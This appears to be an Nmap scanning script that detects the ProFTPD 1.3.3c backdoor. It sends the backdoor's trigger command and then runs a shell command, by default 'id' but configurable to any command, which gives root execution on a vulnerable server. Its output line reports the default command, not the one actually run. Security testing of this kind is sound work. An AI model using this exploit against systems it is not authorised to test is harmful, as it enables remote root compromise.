-- -*- mode: lua -*-
-- vim: set filetype=lua :
description = [[
Tests for the presence of the ProFTPD 1.3.3c backdoor reported as OSVDB-ID 69562. This script attempts to exploit the backdoor using the innocuous <code>id</code> command by default, but that can be changed with the <code>ftp-proftpd-backdoor.cmd</code> script argument.
]]
---
-- @usage
-- nmap --script ftp-proftpd-backdoor -p 21 <host>
--
-- @args ftp-proftpd-backdoor.cmd Command to execute in shell (default is
-- <code>id</code>).
--
-- @output
-- PORT STATE SERVICE
-- 21/tcp open ftp
-- | ftp-proftpd-backdoor:
-- | This installation has been backdoored.
-- | Command: id
-- | Results: uid=0(root) gid=0(wheel) groups=0(wheel)
-- |_
author = "Mak Kolybabi"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery", "intrusive"}
require("ftp")
require("shortport")
require("stdnse")
local CMD_FTP = "HELP ACIDBITCHEZ"
local CMD_SHELL = "id"
portrule = function (host, port)
-- Check if version detection knows what FTP server this is.
if port.version.product ~= nil and port.version.product ~= "ProFTPD" then
return false
end
-- Check if version detection knows what version of FTP server this is.
if port.version.version ~= nil and port.version.version ~= "1.3.3c" then
return false
end
return shortport.port_or_service(21, "ftp")(host, port)
end
action = function(host, port)
local cmd, err, line, req, resp, results, sock, status
-- Get script arguments.
cmd = stdnse.get_script_args("ftp-proftpd-backdoor.cmd")
if not cmd then
cmd = CMD_SHELL
end
-- Create socket.
sock = nmap.new_socket("tcp")
sock:set_timeout(5000)
status, err = sock:connect(host, port, "tcp")
if not status then
stdnse.print_debug(1, "Can't connect: %s", err)
sock:close()
return
end
-- Read banner.
buffer = stdnse.make_buffer(sock, "\r?\n")
local code, message = ftp.read_reply(buffer)
if not code then
stdnse.print_debug(1, "Can't read banner: %s", message)
sock:close()
return
end
-- Check version.
if not message:match("ProFTPD 1.3.3c") then
stdnse.print_debug(1, "This version is not known to be backdoored.")
return
end
-- Send command to escalate privilege.
status, err = sock:send(CMD_FTP .. "\r\n")
if not status then
stdnse.print_debug(1, "Failed to send privilege escalation command: %s", err)
sock:close()
return
end
-- Check if escalation worked.
code, message = ftp.read_reply(buffer)
if code and code == 502 then
stdnse.print_debug(1, "Privilege escalation failed: %s", message)
sock:close()
return
end
-- Send command(s) to shell.
status, err = sock:send(cmd .. ";\r\n")
if not status then
stdnse.print_debug(1, "Failed to send shell command(s): %s", err)
sock:close()
return
end
-- Check for an error from command.
status, resp = sock:receive()
if not status then
stdnse.print_debug(1, "Can't read command response: %s", resp)
sock:close()
return
end
-- Summarize the results.
results = {
"This installation has been backdoored.",
"Command: " .. CMD_SHELL,
"Results: " .. resp
}
return stdnse.format_output(true, results)
end
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